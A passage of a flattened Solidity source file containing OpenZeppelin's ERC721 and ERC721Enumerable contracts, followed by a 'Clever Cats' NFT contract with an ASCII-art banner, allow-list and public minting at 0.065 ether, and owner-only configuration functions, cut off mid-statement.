including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/CleverCats.sol /* MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM░█████╗░██╗░░░░░███████╗██╗░░░██╗███████╗██████╗░ ░█████╗░░█████╗░████████╗░██████╗MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM██╔══██╗██║░░░░░██╔════╝██║░░░██║██╔════╝██╔══██╗ ██╔══██╗██╔══██╗╚══██╔══╝██╔════╝MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM██║░░╚═╝██║░░░░░█████╗░░╚██╗░██╔╝█████╗░░██████╔╝ ██║░░╚═╝███████║░░░██║░░░╚█████╗░MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM██║░░██╗██║░░░░░██╔══╝░░░╚████╔╝░██╔══╝░░██╔══██╗ ██║░░██╗██╔══██║░░░██║░░░░╚═══██╗MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM╚█████╔╝███████╗███████╗░░╚██╔╝░░███████╗██║░░██║ ╚█████╔╝██║░░██║░░░██║░░░██████╔╝MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM░╚════╝░╚══════╝╚══════╝░░░╚═╝░░░╚══════╝╚═╝░░╚═╝ ░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═════╝░MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kddkXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWK0Ok0KNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0xdol;,cdxokWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXddkxoc:coxkOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxolcldoloOKXXOo0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWxlKXXXKOdc;:loodx0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXxlccokOklckKXXXXKdxWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMNddXXXXXXX0dc:oxdlllodOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOoccdkkkkx:l0XXXXXXXxoXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdxXXXXXXXXXKxc:okkkxollox0NMMMMWNKOkxxxxxxxxxxxxxxkO0XWMMMXxccokkkkkkd:oKXXXXXXXXkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMNddXXXXXXXXXKK0dccxkkkkkxoloxkxdoollloddxxxxxxxxddoolloddxdccdkkkkkkkd;ck0OOKXXXXXklOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWddXXXXXXXX0kOOOkc;okkkkkkkkdl:cdkkkkkkkkkkkkkkkkkkkkkkkxocclloxkkkkx:cOXX0kKXXXXXOlOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMxoKXXXXXXXOk0XNNXkllxkkkkkkkkkxxkkkkkkkkkkkkkkkkkkkkkkkkkkkxolclokxcoXNOddkOkOKXXkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOlOXXXXXXXXKOxdkKNXdcxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkocc;lKNX00XXNOx0XXxlKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXoxXXXXXXXKOkkkOXNNXdcdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxclkXNNX0OOO0XXXddNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWdoKXXXXXXkxKNXO0NNNNd:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxllkXKddKXXXXKoxMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOlOXXXXXX0kOOxlkNNNNk:oOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxlo00x0XXXXko0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNooXXXXXXXXXXxxXNNNKl:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkoclkKXXXKdxWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOckXXXXXXXXXkdOOOd:cxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxclOXXXkdKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWdc0XXXXXXXXX0Odlldkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkl:kXOd0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXooKXXXXXXX0kdodkkkkkkkkkkkkkkkkkkxxxkkkkkkkkkkkkkkkkkkkxxxkkkkkkkkkkkkko:odOWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXoxXXXX0xdodxkkkkkkkkkkkkkkkkkkkddkxdxkkkkkkkkkkkkkkkkxdxxxkkkkkkkkkkkkko'oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKldOxdooxkkkkkkkkkkkkkkxdollodxxxxddxkkkkkkkkkkkkkkkkkxxkkkxocccldkkkkkkl:OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWd,coxkkkkkkkkkkkkkkxl;'......'';ldxddxkkkkkkkkkkkkkkkkxoc;'...,:;;okkkkkc:0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXlckkkkkkkkkkkkkkkko'...',,,,,''..';looxkkkkkkkkkkkkkkko'..,,,,,lkl'ckkkkx:lNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkcdkkkkkkkkkkkkkkkl..',,,,,,,,,,,,,.';cxkkkkkkkkkkkkkkd'.,,,,,,,'c0o'lkkkkd;xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNolkkkkkkkkkkkkkkkd'.',,,,,...lkl;,,,cdlcxkkkkkkkkkkkkd,.,,...lo:,,xNc;kkkkkc:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOlxkkkkkkkkkkkkkkkl..;;;;,. ;dl;;;,lO0olkkkkkkkkkkkkd:,;. .oxl;,dWx:xkkkkd;xMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdokkkkkkkkkkkkkkkko..::::;. .;:::;oKNKxkkkkkkkkkkkkOk:;' '::;xWxcxkkkkk:cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMOlxkkkkkkkkkkkkkkkkk:':c:c:,. .,ccc::kWWKkkkkkkkkkkkkkk0o:;. .;c:c0XookkkkkOl:MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWdlkkkkkkkkkkkkkkkkkkx:,:cccc:,,:cccc:xNWKOkkkkkkkkkkkxxkOkccc;;clcck0dokkkkkkkd.kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXllkkkkkkkkkkkkkkkkkkkxl::loooooooollxKKOkkkkkkkkkdooodxkkxl;cooolcoxddkkkkkkkkxcxMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0llxkkkkkkkkkkkkkkkkkkkxolllodddllldxkkkkkkkkkkkl'...ckkkkxolooollodkkkkkkkkkxllKMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxclxkkkkkkkkkkkkkkkkkkkkxdoooooodxkkkkkkkkkkkkxl:;cxkkkkkkkkkkkkkkkkkxxxkxolxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxllxkkkkxxddxkkkkkkkkkkkkkkkkkkkkkkkkkkxoxkkkkdoxkxxkkkkkkkkkkkkkkxxdo:cxXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxocloddddddxkkkkkkkkkkkkkkkkkkkkkkkkkxoooooolloooxkkkkkkkkkkkkkkxccokXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOolooodddxkkkkkkkkkkkkkkkkkkkkkkkkkkkkxddxkkkkkkkkkkkkkkkkkxolod0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN0doooodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxdllox0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkdooodxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxdolodxkKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWK0kxxxdddxkkkkkkkkkkkkkkkkkkkkkkkxdol:;codk0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOo:cloooloxkkkkkkkkkkkkkkkxooc,,lxOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oldxkkxxddxkkkkkkkkkkkkkkkkkkkxocoddkXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxlokkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxllxdoKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKolxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkocddo0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOldkkkkkkxxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkocdxo0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWkldkkkkkkxlokkkkkkkkkkkkkkkkkkkkkkkkkkkkkkocxxo0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWklxkkkkkkklcxkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkklckddXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWklxkkkkkkkd:okkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxcokodNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM0ldkkkkkkkkl:xkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkklcxxlOMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM */ pragma solidity ^0.8.0; contract CleverCats is ERC721, ERC721Enumerable, Ownable { string public PROVENANCE; bool public saleIsActive = false; string private _baseURIextended; bool public isAllowListActive = false; uint256 public constant MAX_SUPPLY = 8888; uint256 public constant MAX_PUBLIC_MINT = 25; uint256 public constant PRICE_PER_TOKEN = 0.065 ether; mapping(address => uint8) private _allowList; constructor() ERC721("Clever Cats", "CLEVER") { } function setIsAllowListActive(bool _isAllowListActive) external onlyOwner { isAllowListActive = _isAllowListActive; } function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { _allowList[addresses[i]] = numAllowedToMint; } } function numAvailableToMint(address addr) external view returns (uint8) { return _allowList[addr]; } function mintAllowList(uint8 numberOfTokens) external payable { uint256 ts = totalSupply(); require(isAllowListActive, "Allow list is not active"); require(numberOfTokens <= _allowList[msg.sender], "Exceeded max available to purchase"); require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens"); require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct"); _allowList[msg.sender] -= numberOfTokens; for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function setProvenance(string memory provenance) public onlyOwner { PROVENANCE = provenance; } function reserve(uint256 n) public onlyOwner { uint supply = totalSupply(); uint i; for (i = 0; i < n; i++) { _safeMint(msg.sender, supply + i); } } function setSaleState(bool newState) public onlyOwner { saleIsActive = newState; } function mint(uint numberOfTokens) public payable { uint256 ts = totalSupply(); require(saleIsActive, "Sale must be active to mint tokens"); require(numberOfTokens <= MAX_PUBLIC_MINT, "Exceeded max token purchase"); require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase 